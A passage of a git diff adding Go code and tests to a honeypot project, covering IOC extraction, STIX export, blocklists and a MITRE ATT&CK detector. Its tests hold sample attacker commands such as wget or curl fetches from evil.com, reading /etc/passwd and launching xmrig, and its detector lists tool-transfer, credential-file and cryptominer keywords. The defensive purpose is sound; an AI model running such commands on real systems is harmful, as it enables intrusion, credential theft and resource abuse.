Confidence: confidenceForEvent(ev), + Source: "honeypot:" + ev.ServiceType.String(), + Tags: eventTags(ev), + }} +} + +func (e *Extractor) extractFromData( + ev *types.Event, +) []*types.IOC { + if len(ev.ServiceData) == 0 { + return nil + } + + var parsed map[string]interface{} + if json.Unmarshal(ev.ServiceData, &parsed) != nil { + return nil + } + + var iocs []*types.IOC + + iocs = append(iocs, extractURLs(parsed, ev)...) + iocs = append( + iocs, extractUserAgents(parsed, ev)..., + ) + + return iocs +} + +func extractURLs( + data map[string]interface{}, + ev *types.Event, +) []*types.IOC { + var iocs []*types.IOC + + for _, key := range []string{ + "command", "raw", "query", "body", "path", + } { + val, ok := data[key].(string) + if !ok { + continue + } + + urls := urlPattern.FindAllString(val, -1) + for _, u := range urls { + iocs = append(iocs, &types.IOC{ + Type: types.IOCURL, + Value: u, + FirstSeen: ev.Timestamp, + LastSeen: ev.Timestamp, + SightCount: 1, + Confidence: 80, + Source: "honeypot:" + ev.ServiceType.String(), + Tags: []string{"extracted-url"}, + }) + + matches := domainPattern.FindStringSubmatch(u) + if len(matches) > 1 { + domain := matches[1] + if net.ParseIP(domain) == nil { + iocs = append(iocs, &types.IOC{ + Type: types.IOCDomain, + Value: domain, + FirstSeen: ev.Timestamp, + LastSeen: ev.Timestamp, + SightCount: 1, + Confidence: 70, + Source: "honeypot:" + ev.ServiceType.String(), + Tags: []string{"extracted-domain"}, + }) + } + } + } + } + + return iocs +} + +func extractUserAgents( + data map[string]interface{}, + ev *types.Event, +) []*types.IOC { + ua, ok := data["user_agent"].(string) + if !ok || ua == "" { + return nil + } + + family := ClassifyHTTPClient(ua) + if family == "" || !IsKnownAttackTool(family) { + return nil + } + + return []*types.IOC{{ + Type: types.IOCUserAgent, + Value: ua, + FirstSeen: ev.Timestamp, + LastSeen: ev.Timestamp, + SightCount: 1, + Confidence: 90, + Source: "honeypot:" + ev.ServiceType.String(), + Tags: []string{"attack-tool", "tool:" + family}, + }} +} + +func confidenceForEvent(ev *types.Event) int { + switch ev.EventType { + case types.EventExploit: + return 95 + case types.EventCommand: + return 85 + case types.EventLoginSuccess, types.EventLoginFailed: + return 80 + case types.EventScan: + return 70 + case types.EventConnect: + return 50 + default: + return 60 + } +} + +func eventTags(ev *types.Event) []string { + tags := []string{ + "service:" + ev.ServiceType.String(), + } + if ev.EventType == types.EventExploit { + tags = append(tags, "exploit-attempt") + } + return tags +} + +func ExtractBulk( + events []*types.Event, +) []*types.IOC { + ext := NewExtractor() + seen := make(map[string]*types.IOC) + + for _, ev := range events { + iocs := ext.Extract(ev) + for _, ioc := range iocs { + key := ioc.Type.String() + ":" + ioc.Value + if existing, ok := seen[key]; ok { + existing.SightCount++ + if ioc.LastSeen.After(existing.LastSeen) { + existing.LastSeen = ioc.LastSeen + } + if ioc.FirstSeen.Before(existing.FirstSeen) { + existing.FirstSeen = ioc.FirstSeen + } + if ioc.Confidence > existing.Confidence { + existing.Confidence = ioc.Confidence + } + existing.Tags = mergeUnique( + existing.Tags, ioc.Tags, + ) + } else { + seen[key] = ioc + } + } + } + + result := make([]*types.IOC, 0, len(seen)) + for _, ioc := range seen { + result = append(result, ioc) + } + return result +} + +func mergeUnique(a, b []string) []string { + set := make(map[string]bool, len(a)+len(b)) + for _, s := range a { + set[s] = true + } + for _, s := range b { + set[s] = true + } + result := make([]string, 0, len(set)) + for s := range set { + result = append(result, s) + } + return result +} + +func FilterIPs( + iocs []*types.IOC, +) []*types.IOC { + var ips []*types.IOC + for _, ioc := range iocs { + if ioc.Type == types.IOCIPv4 || + ioc.Type == types.IOCIPv6 { + ips = append(ips, ioc) + } + } + return ips +} + +func FilterByMinConfidence( + iocs []*types.IOC, minConf int, +) []*types.IOC { + var filtered []*types.IOC + for _, ioc := range iocs { + if ioc.Confidence >= minConf { + filtered = append(filtered, ioc) + } + } + return filtered +} + +func FilterByAge( + iocs []*types.IOC, maxAge time.Duration, +) []*types.IOC { + cutoff := time.Now().UTC().Add(-maxAge) + var filtered []*types.IOC + for _, ioc := range iocs { + if ioc.LastSeen.After(cutoff) { + filtered = append(filtered, ioc) + } + } + return filtered +} + +func HasTag(ioc *types.IOC, tag string) bool { + for _, t := range ioc.Tags { + if strings.EqualFold(t, tag) { + return true + } + } + return false +} diff --git a/PROJECTS/advanced/honeypot-network/internal/intel/ioc_test.go b/PROJECTS/advanced/honeypot-network/internal/intel/ioc_test.go new file mode 100644 index 00000000..7196b64d --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/intel/ioc_test.go @@ -0,0 +1,273 @@ +/* +©AngelaMos | 2026 +ioc_test.go +*/ + +package intel + +import ( + "encoding/json" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +func TestExtractPublicIP(t *testing.T) { + ext := NewExtractor() + ev := &types.Event{ + SourceIP: "203.0.113.1", + EventType: types.EventConnect, + ServiceType: types.ServiceSSH, + Timestamp: time.Now().UTC(), + } + + iocs := ext.Extract(ev) + require.Len(t, iocs, 1) + assert.Equal(t, types.IOCIPv4, iocs[0].Type) + assert.Equal(t, "203.0.113.1", iocs[0].Value) +} + +func TestExtractSkipsPrivateAndLoopback(t *testing.T) { + ext := NewExtractor() + + tests := []struct { + name string + ip string + }{ + {"private class A", "10.0.0.1"}, + {"private class C", "192.168.1.1"}, + {"loopback", "127.0.0.1"}, + {"private class B", "172.16.0.1"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ev := &types.Event{ + SourceIP: tt.ip, + EventType: types.EventConnect, + ServiceType: types.ServiceSSH, + Timestamp: time.Now().UTC(), + } + iocs := ext.Extract(ev) + assert.Empty(t, iocs) + }) + } +} + +func TestExtractURLsAndDomains(t *testing.T) { + ext := NewExtractor() + ev := &types.Event{ + SourceIP: "10.0.0.1", + EventType: types.EventCommand, + ServiceType: types.ServiceSSH, + Timestamp: time.Now().UTC(), + ServiceData: json.RawMessage( + `{"command":"wget http://evil.com/payload"}`, + ), + } + + iocs := ext.Extract(ev) + + var urls, domains []string + for _, ioc := range iocs { + switch ioc.Type { + case types.IOCURL: + urls = append(urls, ioc.Value) + case types.IOCDomain: + domains = append(domains, ioc.Value) + default: + } + } + + assert.Contains(t, urls, "http://evil.com/payload") + assert.Contains(t, domains, "evil.com") +} + +func TestExtractBulkDeduplication(t *testing.T) { + now := time.Now().UTC() + events := []*types.Event{ + { + SourceIP: "203.0.113.1", + EventType: types.EventConnect, + ServiceType: types.ServiceSSH, + Timestamp: now, + }, + { + SourceIP: "203.0.113.1", + EventType: types.EventCommand, + ServiceType: types.ServiceSSH, + Timestamp: now.Add(time.Minute), + }, + } + + iocs := ExtractBulk(events) + + var ipCount int + for _, ioc := range iocs { + if ioc.Type == types.IOCIPv4 && + ioc.Value == "203.0.113.1" { + ipCount++ + assert.Equal(t, 2, ioc.SightCount) + } + } + assert.Equal(t, 1, ipCount) +} + +func TestConfidenceByEventType(t *testing.T) { + ext := NewExtractor() + + tests := []struct { + name string + eventType types.EventType + want int + }{ + {"exploit", types.EventExploit, 95}, + {"command", types.EventCommand, 85}, + {"login success", types.EventLoginSuccess, 80}, + {"login failed", types.EventLoginFailed, 80}, + {"scan", types.EventScan, 70}, + {"connect", types.EventConnect, 50}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ev := &types.Event{ + SourceIP: "203.0.113.1", + EventType: tt.eventType, + ServiceType: types.ServiceSSH, + Timestamp: time.Now().UTC(), + } + iocs := ext.Extract(ev) + require.NotEmpty(t, iocs) + assert.Equal(t, tt.want, iocs[0].Confidence) + }) + } +} + +func TestFilterIPs(t *testing.T) { + iocs := []*types.IOC{ + {Type: types.IOCIPv4, Value: "1.2.3.4"}, + {Type: types.IOCURL, Value: "http://evil.com"}, + {Type: types.IOCIPv6, Value: "2001:db8::1"}, + {Type: types.IOCDomain, Value: "evil.com"}, + } + + filtered := FilterIPs(iocs) + assert.Len(t, filtered, 2) +} + +func TestFilterByMinConfidence(t *testing.T) { + iocs := []*types.IOC{ + { + Type: types.IOCIPv4, Value: "1.2.3.4", + Confidence: 90, + }, + { + Type: types.IOCIPv4, Value: "5.6.7.8", + Confidence: 50, + }, + { + Type: types.IOCIPv4, Value: "9.10.11.12", + Confidence: 80, + }, + } + + filtered := FilterByMinConfidence(iocs, 80) + assert.Len(t, filtered, 2) +} + +func TestGenerateBlocklistFormats(t *testing.T) { + now := time.Now().UTC() + iocs := []*types.IOC{ + { + Type: types.IOCIPv4, Value: "1.2.3.4", + FirstSeen: now, LastSeen: now, + SightCount: 1, Confidence: 90, + Source: "honeypot:ssh", + Tags: []string{"service:ssh"}, + }, + { + Type: types.IOCIPv4, Value: "5.6.7.8", + FirstSeen: now, LastSeen: now, + SightCount: 2, Confidence: 85, + Source: "honeypot:http", + Tags: []string{"service:http"}, + }, + } + + tests := []struct { + name string + format string + contains string + }{ + {"plain", FormatPlain, "1.2.3.4\n"}, + { + "iptables", FormatIPTables, + "iptables -A INPUT -s 1.2.3.4 -j DROP", + }, + {"nginx", FormatNginx, "deny 1.2.3.4;"}, + {"csv header", FormatCSV, "ip,type,first_seen"}, + {"csv row", FormatCSV, "1.2.3.4,ipv4"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := GenerateBlocklist(iocs, tt.format) + assert.Contains(t, result, tt.contains) + }) + } +} + +func TestGenerateSTIXBundleStructure(t *testing.T) { + now := time.Now().UTC() + iocs := []*types.IOC{ + { + Type: types.IOCIPv4, Value: "1.2.3.4", + FirstSeen: now, LastSeen: now, + SightCount: 1, Confidence: 90, + Source: "honeypot:ssh", + Tags: []string{"service:ssh"}, + }, + } + + data, err := GenerateSTIXBundle(iocs) + require.NoError(t, err) + + var bundle map[string]interface{} + require.NoError(t, json.Unmarshal(data, &bundle)) + + assert.Equal(t, "bundle", bundle["type"]) + + objects, ok := bundle["objects"].([]interface{}) + require.True(t, ok) + require.GreaterOrEqual(t, len(objects), 2) + + identity, ok := objects[0].(map[string]interface{}) + require.True(t, ok) + assert.Equal(t, "identity", identity["type"]) + assert.Equal(t, + "Hive Honeypot Network", identity["name"], + ) + assert.Equal(t, "2.1", identity["spec_version"]) + + indicator, ok := objects[1].(map[string]interface{}) + require.True(t, ok) + assert.Equal(t, "indicator", indicator["type"]) + assert.Equal(t, "stix", indicator["pattern_type"]) + assert.Contains(t, indicator["pattern"], "1.2.3.4") +} + +func TestHasTag(t *testing.T) { + ioc := &types.IOC{ + Tags: []string{"service:ssh", "exploit-attempt"}, + } + + assert.True(t, HasTag(ioc, "service:ssh")) + assert.True(t, HasTag(ioc, "SERVICE:SSH")) + assert.True(t, HasTag(ioc, "exploit-attempt")) + assert.False(t, HasTag(ioc, "nonexistent")) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/intel/stix.go b/PROJECTS/advanced/honeypot-network/internal/intel/stix.go new file mode 100644 index 00000000..8db077a9 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/intel/stix.go @@ -0,0 +1,195 @@ +/* +©AngelaMos | 2026 +stix.go + +STIX 2.1 threat intelligence export for honeypot IOCs + +Generates standards-compliant STIX bundles containing indicator +objects for each IOC extracted from honeypot traffic. Compatible +with MISP, OpenCTI, and other threat intelligence platforms that +consume STIX 2.1 JSON feeds. +*/ + +package intel + +import ( + "encoding/json" + "fmt" + "time" + + "github.com/google/uuid" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +const ( + stixVersion = "2.1" + stixSpecVer = "2.1" + identityName = "Hive Honeypot Network" + identityClass = "system" +) + +type stixBundle struct { + Type string `json:"type"` + ID string `json:"id"` + Objects []interface{} `json:"objects"` +} + +type stixIdentity struct { + Type string `json:"type"` + SpecVersion string `json:"spec_version"` + ID string `json:"id"` + Created string `json:"created"` + Modified string `json:"modified"` + Name string `json:"name"` + IdentityClass string `json:"identity_class"` +} + +type stixIndicator struct { + Type string `json:"type"` + SpecVersion string `json:"spec_version"` + ID string `json:"id"` + Created string `json:"created"` + Modified string `json:"modified"` + Name string `json:"name"` + Pattern string `json:"pattern"` + PatternType string `json:"pattern_type"` + ValidFrom string `json:"valid_from"` + Labels []string `json:"labels"` + Confidence int `json:"confidence"` + CreatedByRef string `json:"created_by_ref"` +} + +func GenerateSTIXBundle( + iocs []*types.IOC, +) ([]byte, error) { + identityID := fmt.Sprintf( + "identity--%s", + uuid.New().String(), + ) + now := time.Now().UTC().Format(time.RFC3339) + + identity := stixIdentity{ + Type: "identity", + SpecVersion: stixSpecVer, + ID: identityID, + Created: now, + Modified: now, + Name: identityName, + IdentityClass: identityClass, + } + + objects := []interface{}{identity} + + for _, ioc := range iocs { + pattern := iocToSTIXPattern(ioc) + if pattern == "" { + continue + } + + indicator := stixIndicator{ + Type: "indicator", + SpecVersion: stixSpecVer, + ID: fmt.Sprintf( + "indicator--%s", + uuid.New().String(), + ), + Created: ioc.FirstSeen.UTC().Format(time.RFC3339), + Modified: ioc.LastSeen.UTC().Format(time.RFC3339), + Name: fmt.Sprintf( + "%s: %s", + ioc.Type.String(), ioc.Value, + ), + Pattern: pattern, + PatternType: "stix", + ValidFrom: ioc.FirstSeen.UTC().Format(time.RFC3339), + Labels: stixLabels(ioc), + Confidence: ioc.Confidence, + CreatedByRef: identityID, + } + + objects = append(objects, indicator) + } + + bundle := stixBundle{ + Type: "bundle", + ID: fmt.Sprintf( + "bundle--%s", + uuid.New().String(), + ), + Objects: objects, + } + + return json.MarshalIndent(bundle, "", " ") +} + +func iocToSTIXPattern(ioc *types.IOC) string { + switch ioc.Type { + case types.IOCIPv4: + return fmt.Sprintf( + "[ipv4-addr:value = '%s']", ioc.Value, + ) + case types.IOCIPv6: + return fmt.Sprintf( + "[ipv6-addr:value = '%s']", ioc.Value, + ) + case types.IOCDomain: + return fmt.Sprintf( + "[domain-name:value = '%s']", ioc.Value, + ) + case types.IOCURL: + return fmt.Sprintf( + "[url:value = '%s']", ioc.Value, + ) + case types.IOCHashSHA256: + return fmt.Sprintf( + "[file:hashes.'SHA-256' = '%s']", + ioc.Value, + ) + case types.IOCHashMD5: + return fmt.Sprintf( + "[file:hashes.MD5 = '%s']", ioc.Value, + ) + case types.IOCUserAgent: + return fmt.Sprintf( + "[network-traffic:extensions."+ + "'http-request-ext'."+ + "request_header.'User-Agent' = '%s']", + ioc.Value, + ) + case types.IOCEmail: + return fmt.Sprintf( + "[email-addr:value = '%s']", ioc.Value, + ) + default: + return "" + } +} + +func stixLabels(ioc *types.IOC) []string { + labels := []string{"malicious-activity"} + + switch ioc.Type { + case types.IOCIPv4, types.IOCIPv6: + labels = append( + labels, "anomalous-activity", + ) + case types.IOCURL, types.IOCDomain: + labels = append(labels, "malware") + case types.IOCHashSHA256, types.IOCHashMD5: + labels = append(labels, "malware") + case types.IOCUserAgent: + labels = append(labels, "tool") + default: + } + + for _, tag := range ioc.Tags { + if tag == "exploit-attempt" { + labels = append( + labels, "exploit-activity", + ) + } + } + + return labels +} diff --git a/PROJECTS/advanced/honeypot-network/internal/mitre/detector.go b/PROJECTS/advanced/honeypot-network/internal/mitre/detector.go new file mode 100644 index 00000000..6520153c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/mitre/detector.go @@ -0,0 +1,361 @@ +/* +©AngelaMos | 2026 +detector.go + +Rule engine for detecting MITRE ATT&CK techniques from honeypot events + +Evaluates each event against single-event pattern rules and multi-event +sliding window rules. Single-event rules match on command patterns and +event types. Multi-event rules track per-IP state to detect brute force +attacks and service scanning across configurable time windows. +*/ + +package mitre + +import ( + "encoding/json" + "strings" + "sync" + "time" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +const ( + bruteForceThreshold = 5 + bruteForceWindow = 5 * time.Minute + scanThreshold = 3 + scanWindow = 60 * time.Second +) + +type ipState struct { + authHits []time.Time + services map[types.ServiceType]time.Time +} + +type Detector struct { + index *Index + mu sync.Mutex + state map[string]*ipState +} + +func NewDetector() *Detector { + return &Detector{ + index: NewIndex(), + state: make(map[string]*ipState), + } +} + +func (d *Detector) Index() *Index { + return d.index +} + +func (d *Detector) Detect( + ev *types.Event, +) []*types.MITREDetection { + ids := dedupStrings(append( + d.detectSingleEvent(ev), + d.detectMultiEvent(ev)..., + )) + + detectedAt := ev.Timestamp + if detectedAt.IsZero() { + detectedAt = time.Now().UTC() + } + + detections := make([]*types.MITREDetection, 0, len(ids)) + for _, id := range ids { + tactic := "" + if t := d.index.Get(id); t != nil { + tactic = t.Tactic + } + detections = append(detections, &types.MITREDetection{ + SessionID: ev.SessionID, + TechniqueID: id, + Tactic: tactic, + Confidence: 100, + SourceIP: ev.SourceIP, + ServiceType: ev.ServiceType, + Evidence: ev.EventType.String(), + DetectedAt: detectedAt, + }) + } + return detections +} + +func (d *Detector) detectSingleEvent( + ev *types.Event, +) []string { + var matches []string + + switch ev.EventType { + case types.EventLoginSuccess: + matches = append(matches, "T1078") + if ev.ServiceType == types.ServiceSSH { + matches = append(matches, "T1021.004") + } + + case types.EventCommand: + matches = append( + matches, d.detectCommand(ev)..., + ) + + case types.EventExploit: + matches = append(matches, "T1190") + + case types.EventScan: + matches = append(matches, "T1595") + + case types.EventFileUpload: + matches = append(matches, "T1105") + + case types.EventConnect: + if ev.ServiceType == types.ServiceSSH { + matches = append(matches, "T1133") + } + + default: + } + + return matches +} + +func (d *Detector) detectCommand( + ev *types.Event, +) []string { + cmd := extractCommand(ev.ServiceData) + if cmd == "" { + return nil + } + + var matches []string + upper := strings.ToUpper(cmd) + + matches = append(matches, "T1059.004") + + if isDiscoveryCommand(upper) { + matches = append(matches, "T1082") + } + + if isFileDiscovery(upper) { + matches = append(matches, "T1083") + } + + if isNetworkDiscovery(upper) { + matches = append(matches, "T1016") + } + + if isProcessDiscovery(upper) { + matches = append(matches, "T1057") + } + + if isToolTransfer(upper) { + matches = append(matches, "T1105") + } + + if isCronManipulation(upper) { + matches = append(matches, "T1053.003") + } + + if isCryptoMining(upper) { + matches = append(matches, "T1496") + } + + return matches +} + +func (d *Detector) detectMultiEvent( + ev *types.Event, +) []string { + d.mu.Lock() + defer d.mu.Unlock() + + var matches []string + ip := ev.SourceIP + now := ev.Timestamp + + s, exists := d.state[ip] + if !exists { + s = &ipState{ + services: make(map[types.ServiceType]time.Time), + } + d.state[ip] = s + } + + if ev.EventType == types.EventLoginSuccess || + ev.EventType == types.EventLoginFailed { + s.authHits = append(s.authHits, now) + s.authHits = pruneWindow( + s.authHits, now, bruteForceWindow, + ) + if len(s.authHits) >= bruteForceThreshold { + matches = append(matches, "T1110") + } + } + + if ev.EventType == types.EventConnect { + s.services[ev.ServiceType] = now + } + + activeServices := 0 + for svc, ts := range s.services { + if now.Sub(ts) <= scanWindow { + activeServices++ + } else { + delete(s.services, svc) + } + } + if activeServices >= scanThreshold { + matches = append(matches, "T1046") + } + + if len(s.authHits) == 0 && len(s.services) == 0 { + delete(d.state, ip) + } + + return matches +} + +func extractCommand( + data json.RawMessage, +) string { + if len(data) == 0 { + return "" + } + var parsed map[string]interface{} + if json.Unmarshal(data, &parsed) != nil { + return "" + } + + if cmd, ok := parsed["command"].(string); ok { + return cmd + } + if q, ok := parsed["query"].(string); ok { + return q + } + return "" +} + +func isDiscoveryCommand(cmd string) bool { + patterns := []string{ + "UNAME", "HOSTNAME", "WHOAMI", "ID", + "CAT /ETC/PASSWD", "CAT /ETC/SHADOW", + "CAT /ETC/OS-RELEASE", "CAT /PROC/VERSION", + "CAT /PROC/CPUINFO", "CAT /PROC/MEMINFO", + "LSBLK", "LSCPU", "DMIDECODE", + } + for _, p := range patterns { + if strings.Contains(cmd, p) { + return true + } + } + return false +} + +func isFileDiscovery(cmd string) bool { + patterns := []string{ + "LS ", "LS\t", "DIR ", "FIND ", + "LOCATE ", "CAT ", "HEAD ", "TAIL ", + } + for _, p := range patterns { + if strings.HasPrefix(cmd, p) { + return true + } + } + return cmd == "LS" || cmd == "DIR" +} + +func isNetworkDiscovery(cmd string) bool { + patterns := []string{ + "IFCONFIG", "IP ADDR", "IP A", + "IP ROUTE", "NETSTAT", "SS ", + "ARP ", "ROUTE ", + } + for _, p := range patterns { + if strings.Contains(cmd, p) { + return true + } + } + return false +} + +func isProcessDiscovery(cmd string) bool { + patterns := []string{ + "PS ", "PS\t", "TOP", "HTOP", + "PSTREE", "PGREP ", + } + for _, p := range patterns { + if strings.HasPrefix(cmd, p) || + strings.Contains(cmd, p) { + return true + } + } + return cmd == "PS" || cmd == "W" +} + +func isToolTransfer(cmd string) bool { + patterns := []string{ + "WGET ", "CURL ", "FETCH ", + "TFTP ", "SCP ", "SFTP ", + "FTP ", "LWPDOWNLOAD", + } + for _, p := range patterns { + if strings.Contains(cmd, p) { + return true + } + } + return false +} + +func isCronManipulation(cmd string) bool { + patterns := []string{ + "CRONTAB", "/ETC/CRON", + "/VAR/SPOOL/CRON", + } + for _, p := range patterns { + if strings.Contains(cmd, p) { + return true + } + } + return false +} + +func isCryptoMining(cmd string) bool { + patterns := []string{ + "XMRIG", "MINERD", "CPUMINER", + "STRATUM+TCP", "CRYPTONIGHT", + "RANDOMX", "KTHREADD", + "DOTA", ".X11-UNIX", + } + for _, p := range patterns { + if strings.Contains(cmd, p) { + return true + } + } + return false +} + +func pruneWindow( + times []time.Time, now time.Time, window time.Duration, +) []time.Time { + cutoff := now.Add(-window) + var pruned []time.Time + for _, t := range times { + if t.After(cutoff) { + pruned = append(pruned, t) + } + } + return pruned +} + +func dedupStrings(input []string) []string { + seen := make(map[string]bool, len(input)) + var result []string + for _, s := range input { + if !seen[s] { + seen[s] = true + result = append(result, s) + } + } + return result +} diff --git a/PROJECTS/advanced/honeypot-network/internal/mitre/detector_test.go b/PROJECTS/advanced/honeypot-network/internal/mitre/detector_test.go new file mode 100644 index 00000000..29dd7f47 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/mitre/detector_test.go @@ -0,0 +1,242 @@ +/* +©AngelaMos | 2026 +detector_test.go +*/ + +package mitre + +import ( + "encoding/json" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +func testEvent( + et types.EventType, st types.ServiceType, +) *types.Event { + return &types.Event{ + EventType: et, + ServiceType: st, + SourceIP: "203.0.113.1", + Timestamp: time.Now().UTC(), + } +} + +func testCommandEvent(cmd string) *types.Event { + return &types.Event{ + EventType: types.EventCommand, + ServiceType: types.ServiceSSH, + SourceIP: "203.0.113.1", + Timestamp: time.Now().UTC(), + ServiceData: json.RawMessage( + `{"command":"` + cmd + `"}`, + ), + } +} + +func detectionIDs( + dets []*types.MITREDetection, +) []string { + ids := make([]string, len(dets)) + for i, d := range dets { + ids[i] = d.TechniqueID + } + return ids +} + +func TestLoginSuccessDetectsValidAccounts(t *testing.T) { + d := NewDetector() + ev := testEvent( + types.EventLoginSuccess, types.ServiceHTTP, + ) + + dets := d.Detect(ev) + ids := detectionIDs(dets) + assert.Contains(t, ids, "T1078") +} + +func TestSSHLoginDetectsRemoteService(t *testing.T) { + d := NewDetector() + ev := testEvent( + types.EventLoginSuccess, types.ServiceSSH, + ) + + dets := d.Detect(ev) + ids := detectionIDs(dets) + assert.Contains(t, ids, "T1078") + assert.Contains(t, ids, "T1021.004") +} + +func TestCommandDetectsExecution(t *testing.T) { + d := NewDetector() + ev := testCommandEvent("ls") + + dets := d.Detect(ev) + ids := detectionIDs(dets) + assert.Contains(t, ids, "T1059.004") +} + +func TestExploitDetectsInitialAccess(t *testing.T) { + d := NewDetector() + ev := testEvent( + types.EventExploit, types.ServiceHTTP, + ) + + dets := d.Detect(ev) + ids := detectionIDs(dets) + assert.Contains(t, ids, "T1190") +} + +func TestScanDetectsReconnaissance(t *testing.T) { + d := NewDetector() + ev := testEvent( + types.EventScan, types.ServiceSSH, + ) + + dets := d.Detect(ev) + ids := detectionIDs(dets) + assert.Contains(t, ids, "T1595") +} + +func TestCommandPatterns(t *testing.T) { + tests := []struct { + name string + cmd string + wantID string + }{ + {"wget triggers transfer", "wget http://evil.com/mal", "T1105"}, + {"curl triggers transfer", "curl http://evil.com/mal", "T1105"}, + {"crontab triggers persistence", "crontab -l", "T1053.003"}, + {"cat passwd triggers discovery", "cat /etc/passwd", "T1082"}, + {"ifconfig triggers network", "ifconfig", "T1016"}, + {"ps aux triggers process", "ps aux", "T1057"}, + {"ls triggers file discovery", "ls /etc", "T1083"}, + {"xmrig triggers cryptomining", "xmrig --donate-level 0", "T1496"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + d := NewDetector() + ev := testCommandEvent(tt.cmd) + dets := d.Detect(ev) + ids := detectionIDs(dets) + assert.Contains(t, ids, tt.wantID) + }) + } +} + +func TestBruteForceDetection(t *testing.T) { + d := NewDetector() + now := time.Now().UTC() + + for i := range 4 { + ev := &types.Event{ + EventType: types.EventLoginFailed, + ServiceType: types.ServiceSSH, + SourceIP: "203.0.113.1", + Timestamp: now.Add( + time.Duration(i) * time.Second, + ), + } + dets := d.Detect(ev) + ids := detectionIDs(dets) + assert.NotContains(t, ids, "T1110") + } + + fifth := &types.Event{ + EventType: types.EventLoginFailed, + ServiceType: types.ServiceSSH, + SourceIP: "203.0.113.1", + Timestamp: now.Add(4 * time.Second), + } + dets := d.Detect(fifth) + ids := detectionIDs(dets) + assert.Contains(t, ids, "T1110") +} + +func TestBruteForceWindowExpiry(t *testing.T) { + d := NewDetector() + now := time.Now().UTC() + + for i := range 4 { + ev := &types.Event{ + EventType: types.EventLoginFailed, + ServiceType: types.ServiceSSH, + SourceIP: "203.0.113.1", + Timestamp: now.Add( + time.Duration(i) * time.Second, + ), + } + d.Detect(ev) + } + + stale := &types.Event{ + EventType: types.EventLoginFailed, + ServiceType: types.ServiceSSH, + SourceIP: "203.0.113.1", + Timestamp: now.Add(6 * time.Minute), + } + dets := d.Detect(stale) + ids := detectionIDs(dets) + assert.NotContains(t, ids, "T1110") +} + +func TestServiceScanDetection(t *testing.T) { + d := NewDetector() + now := time.Now().UTC() + + services := []types.ServiceType{ + types.ServiceSSH, + types.ServiceHTTP, + types.ServiceFTP, + } + + var lastDets []*types.MITREDetection + for i, svc := range services { + ev := &types.Event{ + EventType: types.EventConnect, + ServiceType: svc, + SourceIP: "203.0.113.1", + Timestamp: now.Add( + time.Duration(i) * time.Second, + ), + } + lastDets = d.Detect(ev) + } + + ids := detectionIDs(lastDets) + assert.Contains(t, ids, "T1046") +} + +func TestDisconnectNoDetection(t *testing.T) { + d := NewDetector() + ev := testEvent( + types.EventDisconnect, types.ServiceSSH, + ) + + dets := d.Detect(ev) + assert.Empty(t, dets) +} + +func TestDetectionsIncludeTactic(t *testing.T) { + d := NewDetector() + ev := testEvent( + types.EventExploit, types.ServiceHTTP, + ) + + dets := d.Detect(ev) + require.NotEmpty(t, dets) + + for _, det := range dets { + if det.TechniqueID == "T1190" { + assert.NotEmpty(t, det.Tactic) + return + } + } + t.Fatal("expected T1190 detection") +} diff --git a/PROJECTS/advanced/honeypot-network/internal/mitre/index.go b/PROJECTS/advanced/honeypot-network/internal/mitre/index.go new file mode 100644 index 00000000..f44ca8e1 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/mitre/index.go @@ -0,0 +1,211 @@ +/* +©AngelaMos | 2026 +index.go + +Embedded MITRE ATT&CK technique catalog for honeypot detections + +Maps technique IDs to their names, tactics, and descriptions for +the subset of ATT&CK techniques observable in honeypot traffic. +Covers initial access, credential access, execution, discovery, +lateral movement, and command-and-control tactics. +*/ + +package mitre + +type Technique struct { + ID string + Name string + Tactic string +} + +type Index struct { + techniques map[string]*Technique +} + +func NewIndex() *Index { + idx := &Index{ + techniques: make(map[string]*Technique), + } + idx.populate() + return idx +} + +func (i *Index) Get(id string) *Technique { + return i.techniques[id] +} + +func (i *Index) All() []*Technique { + result := make([]*Technique, 0, len(i.techniques)) + for _, t := range i.techniques { + result = append(result, t) + } + return result +} + +func (i *Index) Tactics() []string { + seen := make(map[string]bool) + var tactics []string + for _, t := range i.techniques { + if !seen[t.Tactic] { + seen[t.Tactic] = true + tactics = append(tactics, t.Tactic) + } + } + return tactics +} + +func (i *Index) ByTactic( + tactic string, +) []*Technique { + var result []*Technique + for _, t := range i.techniques { + if t.Tactic == tactic { + result = append(result, t) + } + } + return result +} + +func (i *Index) populate() { + catalog := []*Technique{ + { + ID: "T1595", + Name: "Active Scanning", + Tactic: "reconnaissance", + }, + { + ID: "T1595.001", + Name: "Scanning IP Blocks", + Tactic: "reconnaissance", + }, + { + ID: "T1595.002", + Name: "Vulnerability Scanning", + Tactic: "reconnaissance", + }, + { + ID: "T1592", + Name: "Gather Victim Host Information", + Tactic: "reconnaissance", + }, + { + ID: "T1190", + Name: "Exploit Public-Facing Application", + Tactic: "initial-access", + }, + { + ID: "T1133", + Name: "External Remote Services", + Tactic: "initial-access", + }, + { + ID: "T1078", + Name: "Valid Accounts", + Tactic: "initial-access", + }, + { + ID: "T1059", + Name: "Command and Scripting Interpreter", + Tactic: "execution", + }, + { + ID: "T1059.004", + Name: "Unix Shell", + Tactic: "execution", + }, + { + ID: "T1053.003", + Name: "Cron", + Tactic: "execution", + }, + { + ID: "T1110", + Name: "Brute Force", + Tactic: "credential-access", + }, + { + ID: "T1110.001", + Name: "Password Guessing", + Tactic: "credential-access", + }, + { + ID: "T1110.003", + Name: "Password Spraying", + Tactic: "credential-access", + }, + { + ID: "T1082", + Name: "System Information Discovery", + Tactic: "discovery", + }, + { + ID: "T1083", + Name: "File and Directory Discovery", + Tactic: "discovery", + }, + { + ID: "T1046", + Name: "Network Service Discovery", + Tactic: "discovery", + }, + { + ID: "T1016", + Name: "System Network Configuration 